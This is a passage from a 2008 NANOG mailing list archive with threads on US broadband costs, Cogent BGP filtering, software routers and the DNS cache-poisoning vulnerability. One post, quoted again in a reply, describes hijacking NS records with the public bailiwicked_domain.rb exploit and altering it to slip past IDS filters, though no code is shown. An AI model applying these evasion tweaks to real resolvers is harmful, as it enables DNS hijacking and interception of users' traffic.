watch television much do you. Especially the "news". We are well past "1984". -- Requiescas in pace o email Two identifying characteristics of System Administrators: Ex turpi causa non oritur actio Infallibility, and the ability to learn from their mistakes. Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs From a.harrowell at gmail.com Sun Jul 27 11:47:54 2008 From: a.harrowell at gmail.com (Alexander Harrowell) Date: Sun, 27 Jul 2008 17:47:54 +0100 Subject: So why don't US citizens get this? In-Reply-To: <488C2F4C.7080800@psg.com> References: <2A1C15C8503E@xult.org> <488BAE0F.10506@cox.net> <488BB5DD.1040506@visp.net> <488C2F4C.7080800@psg.com> Message-ID: On Sun, Jul 27, 2008 at 9:18 AM, Randy Bush wrote: > Mark Foster wrote: > > deadfake.com offer anonymised email services with no signup. Does this > > not immediately raise questions in itself? > > > > Or am I just unnaturally suspicious of such services? > > > > Have to admitt as soon as I see traffic relayed by a system such as > > that, I stop putting much stock in its content... > > shoot the messenger, eh? > > the fact is that real 100m/100m is about USD30/mo in japan. in the > states, i pay about USD90 for 256k/768k. as far as the internet is > concerned, the united states is a third world country. > > randy > > ...which still thinks it has a divine right of kings over the root zone. From dot at dotat.at Sun Jul 27 12:10:59 2008 From: dot at dotat.at (Tony Finch) Date: Sun, 27 Jul 2008 18:10:59 +0100 Subject: Software router state of the art In-Reply-To: <2ee691ff0807260441u79c2fef0p76bec3bae85792fd@mail.gmail.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <87r69hx6zq.fsf@mid.deneb.enyo.de> <20080726110526.GA18478@skywalker.creative.net.au> <488B0679.7040009@karnaugh.za.net> <20080726113114.GB18478@skywalker.creative.net.au> <2ee691ff0807260441u79c2fef0p76bec3bae85792fd@mail.gmail.com> Message-ID: On Sat, 26 Jul 2008, Dorn Hetzel wrote: > Ok, it's probably a stupid question, but given the relative ease of putting > 4gb+ ram on a 64bit platform, > could packet per second performance be improved by brute forcing the route > lookup as an array of 1 byte destination interface indexes for a contiguous > swath of /32's from bottom to top? Much easier if you filter out any longer prefixes than /24 :-) Tony. -- f.anthony.n.finch http://dotat.at/ IRISH SEA: VARIABLE 3 OR 4 BECOMING NORTHEAST 4 OR 5. SLIGHT. FOG PATCHES, THUNDERY SHOWERS LATER. MODERATE OR GOOD, OCCASIONALLY VERY POOR. From simon at darkmere.gen.nz Sun Jul 27 16:29:24 2008 From: simon at darkmere.gen.nz (Simon Lyall) Date: Mon, 28 Jul 2008 09:29:24 +1200 (NZST) Subject: Admin: Offtopic Political Threads Message-ID: List members are reminder that the NANOG List Acceptable Use Policy states that: 6. Postings of political, philosophical, and legal nature are prohibited. The current thread on the "Free Market" and "So why don't US citizens get this?" appears to be solely political and should be moved elsewhere. Simon Lyall NANOG Mailing List Committee The above is a "reminder" regarding desired emails to the NANOG mailing list from the Mailing List Committee (MLC). While it does not constitute a "Formal Warning" it is an official correspondence from the MLC after internal consultation. Please contact admins at nanog.org if you have any feedback From pauldotwall at gmail.com Sun Jul 27 18:29:59 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Sun, 27 Jul 2008 19:29:59 -0400 Subject: cogent bgp filtering policies? In-Reply-To: References: Message-ID: <620fd17c0807271629rfec3cd2kbb5a39b0d037be3c@mail.gmail.com> Cogent does not support IRR. Since you're using IRR yourself, Richard Steenbergen's IRRPT (irrpt.sf.net) has a script called 'irrpt_nag' which is good for sending automated requests for prefix-list updates with providers that continue to process them manually. You can (and should) ask that Cogent's "Engineering" department okay you for support for de-aggregation down to the /24 level or more specific. They will with proper justification or a general feeling that you've got good reason and aren't just looking to gratuitously de-aggregate prefixes for no reason. Drive Slow, Paul On Sun, Jul 27, 2008 at 5:59 AM, John van Oppen wrote: > Now that I am on my third round of an email argument with cogent's > support department about adding prefixes to our filters (and them not > understanding why I want le 24 matches on the blocks from which we > allocate subnets to multi-homed customers) I figure it would be a good > idea to ask if anyone has ever gotten cogent to setup any IRR based > filtering on a customer connection. > > > > We are a small-ish regional transit provider in the northwest announcing >> 100 prefixes and just spent the last few days writing emails and > calling trying to get cogent to accept more than 30% of the routes we > were announcing. We have IRR (radb to be specific) filters set up > with our other four providers which really lowered my tolerance for > having to go round and round to get prefixes added. Heck, at this > point I would settle for a direct email address for their engineering > department just to avoid the arguments with the support monkeys. > > > > > > I should note that this is actually the second time I have had this > issue (the last time was with one of our customers and their cogent > connection) even though we only turned up our service recently. > > > > John van Oppen > > AS11404 > > > > From john at vanoppen.com Sun Jul 27 18:47:21 2008 From: john at vanoppen.com (John van Oppen) Date: Sun, 27 Jul 2008 16:47:21 -0700 Subject: cogent bgp filtering policies? References: <620fd17c0807271629rfec3cd2kbb5a39b0d037be3c@mail.gmail.com> Message-ID: That software might be a good solution for sending them updates, heck a script sending it out every time it detects an update might also cause them to get more excited about automating updates. ;) We also had issues with them wanting a paper (or faxed) LOA which seemed a bit onerous given the number of prefixes we announce. The le 24 matches should have been easy since the reason we wanted them were because we have customers using their own ASNs to announce sub-allocations of our space, a quick look on their part the first time we made the request would have shown that the sub allocations were all originated from downstream ASNs from our network. If anyone has an engineering contact at cogent (ie not the support contact) I would love to talk to them as it seems support department front-end is the problem and not necessarily cogent's actual policies. Thanks, John van Oppen Spectrum Networks LLC 206.973.8302 (Direct) 206.973.8300 (main office) -----Original Message----- From: Paul Wall [mailto:pauldotwall at gmail.com] Sent: Sunday, July 27, 2008 4:30 PM To: John van Oppen Cc: nanog at merit.edu Subject: Re: cogent bgp filtering policies? Cogent does not support IRR. Since you're using IRR yourself, Richard Steenbergen's IRRPT (irrpt.sf.net) has a script called 'irrpt_nag' which is good for sending automated requests for prefix-list updates with providers that continue to process them manually. You can (and should) ask that Cogent's "Engineering" department okay you for support for de-aggregation down to the /24 level or more specific. They will with proper justification or a general feeling that you've got good reason and aren't just looking to gratuitously de-aggregate prefixes for no reason. Drive Slow, Paul On Sun, Jul 27, 2008 at 5:59 AM, John van Oppen wrote: > Now that I am on my third round of an email argument with cogent's > support department about adding prefixes to our filters (and them not > understanding why I want le 24 matches on the blocks from which we > allocate subnets to multi-homed customers) I figure it would be a good > idea to ask if anyone has ever gotten cogent to setup any IRR based > filtering on a customer connection. > > > > We are a small-ish regional transit provider in the northwest announcing >> 100 prefixes and just spent the last few days writing emails and > calling trying to get cogent to accept more than 30% of the routes we > were announcing. We have IRR (radb to be specific) filters set up > with our other four providers which really lowered my tolerance for > having to go round and round to get prefixes added. Heck, at this > point I would settle for a direct email address for their engineering > department just to avoid the arguments with the support monkeys. > > > > > > I should note that this is actually the second time I have had this > issue (the last time was with one of our customers and their cogent > connection) even though we only turned up our service recently. > > > > John van Oppen > > AS11404 > > > > From pauldotwall at gmail.com Sun Jul 27 18:48:28 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Sun, 27 Jul 2008 19:48:28 -0400 Subject: Admin: Offtopic Political Threads In-Reply-To: References: Message-ID: <620fd17c0807271648j31a70346ybd928fd292695571@mail.gmail.com> Simon, Sorry to steer this in a different direction, but could you please tell us a bit about the new MLC's plans for suspending habitual off-topic posters in violation of the "three strikes" rule, such as Gadi Evron and Larry Sheldon? Paul On Sun, Jul 27, 2008 at 5:29 PM, Simon Lyall wrote: > > List members are reminder that the NANOG List Acceptable Use Policy > states that: > > 6. Postings of political, philosophical, and legal nature are prohibited. > > The current thread on the "Free Market" and "So why don't US citizens get > this?" appears to be solely political and should be moved elsewhere. > > Simon Lyall > NANOG Mailing List Committee > > > The above is a "reminder" regarding desired emails to the NANOG mailing > list from the Mailing List Committee (MLC). While it does not constitute > a "Formal Warning" it is an official correspondence from the MLC after > internal consultation. > > Please contact admins at nanog.org if you have any feedback > > > > From simon at darkmere.gen.nz Sun Jul 27 19:16:41 2008 From: simon at darkmere.gen.nz (Simon Lyall) Date: Mon, 28 Jul 2008 12:16:41 +1200 (NZST) Subject: Admin: Offtopic Political Threads In-Reply-To: <620fd17c0807271648j31a70346ybd928fd292695571@mail.gmail.com> References: <620fd17c0807271648j31a70346ybd928fd292695571@mail.gmail.com> Message-ID: On Sun, 27 Jul 2008, Paul Wall wrote: > Sorry to steer this in a different direction, but could you please > tell us a bit about the new MLC's plans for suspending habitual > off-topic posters in violation of the "three strikes" rule, such as > Gadi Evron and Larry Sheldon? That question is off-topic for the main list so I'll redirect it to futures. Can people please redirect any further followups there. Please remember that discussion about this list itself should go to futures. As for your actual questions, I am not in a position to give answers without consulting the rest of the MLC. -- Simon Lyall | Very Busy | Web: http://www.darkmere.gen.nz/ "To stay awake all night adds a day to your life" - Stilgar | eMT. From ge at linuxbox.org Sun Jul 27 19:43:00 2008 From: ge at linuxbox.org (Gadi Evron) Date: Sun, 27 Jul 2008 19:43:00 -0500 (CDT) Subject: Admin: Offtopic Political Threads In-Reply-To: <620fd17c0807271648j31a70346ybd928fd292695571@mail.gmail.com> References: <620fd17c0807271648j31a70346ybd928fd292695571@mail.gmail.com> Message-ID: On Sun, 27 Jul 2008, Paul Wall wrote: > Simon, > > Sorry to steer this in a different direction, but could you please > tell us a bit about the new MLC's plans for suspending habitual > off-topic posters in violation of the "three strikes" rule, such as > Gadi Evron and Larry Sheldon? can you take your regular baiting to nanog-futures, please? Gadi. > Paul > > On Sun, Jul 27, 2008 at 5:29 PM, Simon Lyall wrote: >> >> List members are reminder that the NANOG List Acceptable Use Policy >> states that: >> >> 6. Postings of political, philosophical, and legal nature are prohibited. >> >> The current thread on the "Free Market" and "So why don't US citizens get >> this?" appears to be solely political and should be moved elsewhere. >> >> Simon Lyall >> NANOG Mailing List Committee >> >> >> The above is a "reminder" regarding desired emails to the NANOG mailing >> list from the Mailing List Committee (MLC). While it does not constitute >> a "Formal Warning" it is an official correspondence from the MLC after >> internal consultation. >> >> Please contact admins at nanog.org if you have any feedback >> >> >> >> > From jmaimon at ttec.com Sun Jul 27 19:57:12 2008 From: jmaimon at ttec.com (Joe Maimon) Date: Sun, 27 Jul 2008 20:57:12 -0400 Subject: cogent bgp filtering policies? In-Reply-To: References: <620fd17c0807271629rfec3cd2kbb5a39b0d037be3c@mail.gmail.com> Message-ID: <488D1968.7010309@ttec.com> John van Oppen wrote: > That software might be a good solution for sending them updates, heck a > script sending it out every time it detects an update might also cause > them to get more excited about automating updates. ;) We also had > issues with them wanting a paper (or faxed) LOA which seemed a bit > onerous given the number of prefixes we announce. > > The le 24 matches should have been easy since the reason we wanted them > were because we have customers using their own ASNs to announce > sub-allocations of our space, a quick look on their part the first time > we made the request would have shown that the sub allocations were all > originated from downstream ASNs from our network. make sure their max-prefix limit resets automatically and is high enough > > If anyone has an engineering contact at cogent (ie not the support > contact) I would love to talk to them as it seems support department > front-end is the problem and not necessarily cogent's actual policies. No their policy is to give you a hard time until you jump through their hoops and then you get what you want. > > Thanks, > > John van Oppen > Spectrum Networks LLC > 206.973.8302 (Direct) > 206.973.8300 (main office) > > -----Original Message----- > From: Paul Wall [mailto:pauldotwall at gmail.com] > Sent: Sunday, July 27, 2008 4:30 PM > To: John van Oppen > Cc: nanog at merit.edu > Subject: Re: cogent bgp filtering policies? > > Cogent does not support IRR. Since you're using IRR yourself, Richard > Steenbergen's IRRPT (irrpt.sf.net) has a script called 'irrpt_nag' > which is good for sending automated requests for prefix-list updates > with providers that continue to process them manually. > > You can (and should) ask that Cogent's "Engineering" department okay > you for support for de-aggregation down to the /24 level or more > specific. They will with proper justification or a general feeling > that you've got good reason and aren't just looking to gratuitously > de-aggregate prefixes for no reason. > > Drive Slow, > Paul > > On Sun, Jul 27, 2008 at 5:59 AM, John van Oppen > wrote: >> Now that I am on my third round of an email argument with cogent's >> support department about adding prefixes to our filters (and them not >> understanding why I want le 24 matches on the blocks from which we >> allocate subnets to multi-homed customers) I figure it would be a good >> idea to ask if anyone has ever gotten cogent to setup any IRR based >> filtering on a customer connection. >> >> >> >> We are a small-ish regional transit provider in the northwest > announcing >>> 100 prefixes and just spent the last few days writing emails and >> calling trying to get cogent to accept more than 30% of the routes we >> were announcing. We have IRR (radb to be specific) filters set up >> with our other four providers which really lowered my tolerance for >> having to go round and round to get prefixes added. Heck, at this >> point I would settle for a direct email address for their engineering >> department just to avoid the arguments with the support monkeys. >> >> >> >> >> >> I should note that this is actually the second time I have had this >> issue (the last time was with one of our customers and their cogent >> connection) even though we only turned up our service recently. >> >> >> >> John van Oppen >> >> AS11404 >> >> >> >> > > > From steve at ibctech.ca Thu Jul 24 17:32:21 2008 From: steve at ibctech.ca (Steve Bertrand) Date: Thu, 24 Jul 2008 18:32:21 -0400 Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning- RELEASED In-Reply-To: References: <20080723.211759.15942.0@webmail14.vgs.untd.com><200807241006.26010.simonw@zynet.net> <20080724084304.7c730455@t41-0> Message-ID: <488902F5.8040907@ibctech.ca> Gadi Evron wrote: > On Thu, 24 Jul 2008, Martin Hannigan wrote: >> >>> I personally know several folks from within and wayyy from outside the >>> DNS >>> world who discovered this very out there and obvious issue and worked >>> hard >>> to try and contact the operators. Those that haven't fixed it yet, >>> likely >>> won't if all thing remain even. >>> >> >> I don't know that a failure to act immediately is indicative of ignoring >> the problem. Not to defend AT&T or any other provider, but it's not as >> simple as rolling out a patch. > > Marty, are we talking of the same problem? I am talking about recursion > enabled in bind? I'm confused by the last sentence. I don't understand if you are asking a question, or stating that recursion should be disabled. If it is a statement, then you must mean that ops should disable recursion, and enable forwarding for name resolution, correct? In this case, its been proven that having an upstream forward that is 'broken' will have the exact same effect as having a broken recursive server. My apologies if I've misunderstood your comment. Steve From patrick at ianai.net Sun Jul 27 21:39:20 2008 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 27 Jul 2008 22:39:20 -0400 Subject: So why don't US citizens get this? In-Reply-To: References: <20080726231139.GA31602@vacation.karoshi.com.> Message-ID: <2EB682D7-9AB7-469F-8A8A-BDB71863C506@ianai.net> [Sorry to bring this back towards the topic at hand, but....] On Jul 26, 2008, at 7:38 PM, Mr. James W. Laferriere wrote: > On Sat, 26 Jul 2008, bmanning at vacation.karoshi.com wrote: >> >> that said, can I get FIOS w/o any other >> Verizon crap? I just want the fiber transport >> to an exchange... want my own ISP/peering, not >> theirs. They wont sell it. >> > Anyone find a 'Commodity' seller of IP connectivity that will > provide that ?I haven't in a Number of years now . > Imo , it appears to be company cowardice . But then again alot > can go wrong even if you filter correctly . > But I'd really like to find a provider that 'Can' . Just like the > little train . First, I should say that I am not defending VZ or any other company. However, I don't think it's fair to claim VZ sells FIOS and therefore should also sell dark. The two items are vastly different services. I seriously doubt "cowardice" is stopping VZ from giving bill fiber. Hell, they'd likely make a LOT more money off selling him dark than selling him FIOS. There are lots of providers in major metros (where I know bill lives) that sell things like 10 Mbps point-to-point circuits. But dark fiber is frequently hard to come by even between two telco hotels in the same city. Asking for dark fiber from $RANDOM_HOUSE to, well, anywhere, that's going to be just a little out of the ordinary. So if you want to complain about something, complain about something reasonable. Lord knows the telecos have given us enough targets. -- TTFN, patrick From steve at ibctech.ca Sat Jul 26 00:14:48 2008 From: steve at ibctech.ca (Steve Bertrand) Date: Sat, 26 Jul 2008 01:14:48 -0400 Subject: Aid in bypassing DNS issue Message-ID: <488AB2C8.7080907@ibctech.ca> With the time I've had, I've tried my best to keep up with every message related to the current issue upon us related to DNS. I am a small op, amongst many that I've met the last few days that may need assistance. I would like at least someone from a large operation to read what I've done, what my concerns are and what help might be provided for a scenario. If this is as big an issue as I feel it is, then perhaps those with resources can offer advice. If you will: I've: - exploited a legacy machine and hijacked the NS records - set up an NS under the phony domain - configured A, AAAA and MX records for the hijacked domain (example.com) - put in place a simple index.html file for a website - configured email accounts - you get the point...it all works Then: - made some slight changes to the latest (as of 1000hrs 080725) to the bailiwicked_domain.rb file to accept a new parameter 'RECURSCHK', that 'fixes' the problem of a consistent domain showing up in the initial TXT check that from what I can tell tests for recursion: (#set recurschk wwNN.myDdomain.com). It allows an attacker to set a lookup against a name/record that (s)he knows exists to get the ball rolling initially. This generally ensures that the first check of the exploit will always pass (at least get an affirmative response, recursive or not), but come under the radar of an expecting IDS filter. Once one host is exploited, then the rest of the names can be built/run against, well, anything of course ...unfinished, but in progress (I know Perl, never dealt with Ruby... a if/for/while would be handy). I'd like to change the initial TXT to an A, but I don't think I quite understand the ramifications on the grand scheme of things within the scope of the exploit code, unless I were to focus more time on this. Technically, I'm now on holidays... Anyway, if you've read this far, - my true, core name servers are as vulnerable as any name server that has been patched - I have clients connected to my 'upstream' (if you please) - I configured a DNS server (implementation regardless) to "FORWARD ONLY" to the 'upstream' DNS servers - We found that we are vulnerable, due to the fact that our 'upstream' DNS servers are vulnerable because they don't use port randomization - we have wholesale business clients who are directly connected to this 'upstream', and retrieve DNS server addresses via DHCP from somewhere within their access layer - the 'upstream' has made no confirmation regarding fixes after discussion My question: How to deal with this? It appears as though there are many that state "...the patching has gone down hill", but what to do when your hands are tied? Is there a network operations centre capable, able and willing to publicly claim: "if you've tried your best to tell your 'upstreams' (ISP) to fix the issue but they haven't, tell them to forget patching, ignore the work until the problem goes away, turn off recursion and forward to us, then patch later when you can afford some downtime"? Thank you to everyone who has already put so much time and determination into this issue. Steve From hescominsoon at emmanuelcomputerconsulting.com Mon Jul 28 06:43:00 2008 From: hescominsoon at emmanuelcomputerconsulting.com (William Warren) Date: Mon, 28 Jul 2008 07:43:00 -0400 Subject: Aid in bypassing DNS issue In-Reply-To: <488AB2C8.7080907@ibctech.ca> References: <488AB2C8.7080907@ibctech.ca> Message-ID: <488DB0C4.4000902@emmanuelcomputerconsulting.com> Steve Bertrand wrote: > With the time I've had, I've tried my best to keep up with every > message related to the current issue upon us related to DNS. > > I am a small op, amongst many that I've met the last few days that may > need assistance. I would like at least someone from a large operation > to read what I've done, what my concerns are and what help might be > provided for a scenario. If this is as big an issue as I feel it is, > then perhaps those with resources can offer advice. If you will: > > I've: > > - exploited a legacy machine and hijacked the NS records > - set up an NS under the phony domain > - configured A, AAAA and MX records for the hijacked domain (example.com) > - put in place a simple index.html file for a website > - configured email accounts > - you get the point...it all works > > Then: > > - made some slight changes to the latest (as of 1000hrs 080725) to the > bailiwicked_domain.rb file to accept a new parameter 'RECURSCHK', that > 'fixes' the problem of a consistent domain showing up in the initial > TXT check that from what I can tell tests for recursion: (#set > recurschk wwNN.myDdomain.com). > > It allows an attacker to set a lookup against a name/record that (s)he > knows exists to get the ball rolling initially. > > This generally ensures that the first check of the exploit will always > pass (at least get an affirmative response, recursive or not), but > come under the radar of an expecting IDS filter. > > Once one host is exploited, then the rest of the names can be > built/run against, well, anything of course ...unfinished, but in > progress (I know Perl, never dealt with Ruby... a if/for/while would > be handy). > > I'd like to change the initial TXT to an A, but I don't think I quite > understand the ramifications on the grand scheme of things within the > scope of the exploit code, unless I were to focus more time on this. > Technically, I'm now on holidays... > > Anyway, if you've read this far, > > - my true, core name servers are as vulnerable as any name server that > has been patched > > - I have clients connected to my 'upstream' (if you please) > > - I configured a DNS server (implementation regardless) to "FORWARD > ONLY" to the 'upstream' DNS servers > > - We found that we are vulnerable, due to the fact that our 'upstream' > DNS servers are vulnerable because they don't use port randomization > > - we have wholesale business clients who are directly connected to > this 'upstream', and retrieve DNS server addresses via DHCP from > somewhere within their access layer > > - the 'upstream' has made no confirmation regarding fixes after > discussion > > My question: > > How to deal with this? It appears as though there are many that state > "...the patching has gone down hill", but what to do when your hands > are tied? > > > > Is there a network operations centre capable, able and willing to > publicly claim: > > "if you've tried your best to tell your 'upstreams' (ISP) to fix the > issue but they haven't, tell them to forget patching, ignore the work > until the problem goes away, turn off recursion and forward to us, > then patch later when you can afford some downtime"? > > Thank you to everyone who has already put so much time and > determination into this issue. > > Steve > if your upstream has not fixed their issues yet..try forwarding to opendns which IS secured against this issue until your upstream fixes their servers. From jmamodio at gmail.com Mon Jul 28 07:06:27 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Mon, 28 Jul 2008 07:06:27 -0500 Subject: So why don't US citizens get this? In-Reply-To: <2C28A764789D@xult.org> References: <2C28A764789D@xult.org> Message-ID: <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> Lets put aside for a moment the conspiracy theories of government intervention and the telcos evil doing, IMHO there is a simple reason why I don't have fiber going to my house: geography & economics. Japan: - area = 377,873 Km^2 - density = 337/Km^2 - pop = 127.5 mill USA:: - area = 9,826,630 Km^2 - density = 31/Km^2 - pop = 304.7 mill I belive there are just few major cities in the US that have a comparable or higher concentration of people like other large cities around the world. I'd bet that if you deploy fiber in a given radious in a suburban area in Japan you may reach hundreds or thousands of potential customers, do the same a little bit north from where I live and you will reach a dozen guys, 50 cows and a couple of hundred chickens. The US is so spread out that anything to do with transportation, being people, packages, or ip packets becomes quite costly. Still I beleve is interesting to analyze why the US is lagging behind on high speed services. My .02 From tvest at eyeconomics.com Mon Jul 28 07:12:08 2008 From: tvest at eyeconomics.com (Tom Vest) Date: Mon, 28 Jul 2008 13:12:08 +0100 Subject: So why don't US citizens get this? In-Reply-To: <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> Message-ID: <2B12539A-2240-455C-9CE4-06F1DFA94E00@eyeconomics.com> Sort of makes one wonder how the US came to have ubiquitous roads, or power, or water distribution... TV On Jul 28, 2008, at 1:06 PM, Jorge Amodio wrote: > Lets put aside for a moment the conspiracy theories of government > intervention and > the telcos evil doing, IMHO there is a simple reason why I don't > have fiber > going > to my house: geography & economics. > > Japan: > - area = 377,873 Km^2 > - density = 337/Km^2 > - pop = 127.5 mill > > USA:: > - area = 9,826,630 Km^2 > - density = 31/Km^2 > - pop = 304.7 mill > > I belive there are just few major cities in the US that have a > comparable or > higher > concentration of people like other large cities around the world. > > I'd bet that if you deploy fiber in a given radious in a suburban > area in > Japan you > may reach hundreds or thousands of potential customers, do the same > a little > bit > north from where I live and you will reach a dozen guys, 50 cows and a > couple of > hundred chickens. > > The US is so spread out that anything to do with transportation, being > people, > packages, or ip packets becomes quite costly. > > Still I beleve is interesting to analyze why the US is lagging > behind on > high speed > services. > > My .02 From darden at armc.org Mon Jul 28 07:18:05 2008 From: darden at armc.org (Darden, Patrick S.) Date: Mon, 28 Jul 2008 08:18:05 -0400 Subject: Software router state of the art In-Reply-To: <20080726222350.GA884395@hiwaay.net> Message-ID: I have one of these (Imagestream T3 WAN adapter on an Imagestream router) for 5+ years to back up my Cisco 7204 with a channelized T3 card. I like the system, I like the card. The other engineers in my office call it the "bling router". Lots of gold chrome. Pimped out. --Patrick Darden -----Original Message----- From: Chris Adams [mailto:cmadams at hiwaay.net] Once upon a time, Andrew D Kirch said: > there > are no Channelized T3/OC3 cards available for a PeeCee, which means you > still need to buy something from Cisco or Juniper. First hit on a Google search: http://www.imagestream.com/PCI_921-CDS.html -- Chris Adams From plzak at arin.net Mon Jul 28 07:21:08 2008 From: plzak at arin.net (Ray Plzak) Date: Mon, 28 Jul 2008 08:21:08 -0400 Subject: [SPAM] Re: So why don't US citizens get this? In-Reply-To: <2B12539A-2240-455C-9CE4-06F1DFA94E00@eyeconomics.com> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <2B12539A-2240-455C-9CE4-06F1DFA94E00@eyeconomics.com> Message-ID: Government intervention - see Federal-Aid Highway Act, Rural Electrification Act, etc. Ray > -----Original Message----- > From: Tom Vest [mailto:tvest at eyeconomics.com] > Sent: Monday, July 28, 2008 08:12 > To: Jorge Amodio > Cc: nanog at nanog.org; natalidel at mailinator.com > Subject: [SPAM] Re: So why don't US citizens get this? > > Sort of makes one wonder how the US came to have ubiquitous roads, or > power, or water distribution... > > TV > > On Jul 28, 2008, at 1:06 PM, Jorge Amodio wrote: > > > Lets put aside for a moment the conspiracy theories of government > > intervention and > > the telcos evil doing, IMHO there is a simple reason why I don't > > have fiber > > going > > to my house: geography & economics. > > > > Japan: > > - area = 377,873 Km^2 > > - density = 337/Km^2 > > - pop = 127.5 mill > > > > USA:: > > - area = 9,826,630 Km^2 > > - density = 31/Km^2 > > - pop = 304.7 mill > > > > I belive there are just few major cities in the US that have a > > comparable or > > higher > > concentration of people like other large cities around the world. > > > > I'd bet that if you deploy fiber in a given radious in a suburban > > area in > > Japan you > > may reach hundreds or thousands of potential customers, do the same > > a little > > bit > > north from where I live and you will reach a dozen guys, 50 cows and > a > > couple of > > hundred chickens. > > > > The US is so spread out that anything to do with transportation, > being > > people, > > packages, or ip packets becomes quite costly. > > > > Still I beleve is interesting to analyze why the US is lagging > > behind on > > high speed > > services. > > > > My .02 > > From swmike at swm.pp.se Mon Jul 28 07:24:04 2008 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Mon, 28 Jul 2008 14:24:04 +0200 (CEST) Subject: So why don't US citizens get this? In-Reply-To: <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> Message-ID: On Mon, 28 Jul 2008, Jorge Amodio wrote: > The US is so spread out that anything to do with transportation, being > people, packages, or ip packets becomes quite costly. Well then, let's take Sweden: total: 449,964 sq km This is slightly larger than california. We're 9 million. I think at least 90% of Swedish households have access to at least ADSL 2M/1M, and 95% of households have access to 384kbit/s UMTS mobile wireless. ADSL 24M/1M is around USD50 per month, and should be available to a majority of households that live within technical range of COs. 100/10M ETTH is cheaper than ADSL 24M/1M and is available to somewhere around 10-15% of households. Wierdly 100/10M ETTH is more common in the smaller cities because of need of competitive advantage, so more money is spent my real estate owners there to make sure broadband is available. So, we're 9 million, Californa is what, 60million, on the same surface area. Is there any reason why california, in itself one of the largest economies in the world, seems to have problems delivering anything close to broadband to its inhabitants? So yes, the US must have structural problems here... -- Mikael Abrahamsson email: swmike at swm.pp.se From michael.dillon at bt.com Mon Jul 28 07:30:50 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Mon, 28 Jul 2008 13:30:50 +0100 Subject: So why don't US citizens get this? In-Reply-To: <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> Message-ID: > I belive there are just few major cities in the US that have > a comparable or higher concentration of people like other > large cities around the world. So then... Why do major US cities not have fiber to the home yet? Of course, here in the UK, FTTH won't go to London first: There are already plans afoot to roll out FTT? darn near everywhere here. FTTC is far more interesting that FTTH, because it is not just a technology buzzword driven idea, but one based on economics. It is cheaper to rollout a nice high bandwidth fiber link to most neighborhoods than to use that fat bundle of copper pairs. But, on the other hand, it is cheaper to leave that last quarter-mile intact and only build out fiber where new development is being done. So the real question that is much more interesting is as follows: Does the US lag the world in high-speed fiber to the cabinet (FTTC)? > I'd bet that if you deploy fiber in a given radious in a > suburban area in Japan you may reach hundreds or thousands of > potential customers, do the same a little bit north from > where I live and you will reach a dozen guys, 50 cows and a > couple of hundred chickens. Don't let the copper thieves know where you live. They might show up one nice Sunday morning bright and early to clean out the county's copper wire. When I lived in British Columbia, Canada in teh 90's, I noticed that our incumbent telco was well ahead of the game. They were putting up fiber everywhere and then following up by cutting the fat copper cables into sections for recovery of the metal. They even ran fibre into remote valleys were there were only a few dozen families and it was probably economically worthwhile because they recovered a higher dollar value of copper from those remote locations. > Still I beleve is interesting to analyze why the US is > lagging behind on high speed services. Analysis paralysis perhaps? AKA bipartisan politics. --Michael Dillon From michal at krsek.cz Mon Jul 28 08:23:15 2008 From: michal at krsek.cz (Michal Krsek) Date: Mon, 28 Jul 2008 14:23:15 +0100 Subject: So why don't US citizens get this? References: <2C28A764789D@xult.org><202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> Message-ID: <008101c8f0b5$7f9bc180$e40b10ac@w2lan.cesnet.cz> >> The US is so spread out that anything to do with transportation, being >> people, packages, or ip packets becomes quite costly. > > Well then, let's take Sweden: > > total: 449,964 sq km > > This is slightly larger than california. We're 9 million. > > I think at least 90% of Swedish households have access to at least ADSL > 2M/1M, and 95% of households have access to 384kbit/s UMTS mobile > wireless. > > So, we're 9 million, Californa is what, 60million, on the same surface > area. Is there any reason why california, in itself one of the largest > economies in the world, seems to have problems delivering anything close > to broadband to its inhabitants? So yes, the US must have structural > problems here... Have you tried to use any "distribution of people" function on your numbers? Here in CZ we have more railroads than you in SE or California in US have. But I'm very far away to argue that Sweden or California have structural problems ... Regards Michal From johnl at iecc.com Mon Jul 28 08:54:31 2008 From: johnl at iecc.com (John Levine) Date: 28 Jul 2008 13:54:31 -0000 Subject: So why don't US citizens get this? In-Reply-To: <2B12539A-2240-455C-9CE4-06F1DFA94E00@eyeconomics.com> Message-ID: <20080728135431.66982.qmail@simone.iecc.com> In article <2B12539A-2240-455C-9CE4-06F1DFA94E00 at eyeconomics.com> you write: >Sort of makes one wonder how the US came to have ubiquitous roads, or >power, or water distribution... Oh, but that's different. They were important. From laird at pando.com Mon Jul 28 09:08:07 2008 From: laird at pando.com (Laird Popkin) Date: Mon, 28 Jul 2008 10:08:07 -0400 Subject: So why don't US citizens get this? In-Reply-To: <20080728135431.66982.qmail@simone.iecc.com> References: <20080728135431.66982.qmail@simone.iecc.com> Message-ID: <6CC676EB-E2A7-421D-ADDF-E7A85F9D4E8A@pando.com> On Jul 28, 2008, at 9:54 AM, John Levine wrote: > In article <2B12539A-2240-455C-9CE4-06F1DFA94E00 at eyeconomics.com> > you write: >> Sort of makes one wonder how the US came to have ubiquitous roads, or >> power, or water distribution... > > Oh, but that's different. They were important. Or, to be more specific, people everywhere need power and water and were willing to pay for them, so other people started companies to provide them everywhere. Roads are a little more complicated - the basic roads were there due to demand, but the highways got built because the Army argued that without highways they couldn't move troops and supplies to defend the country in case of an 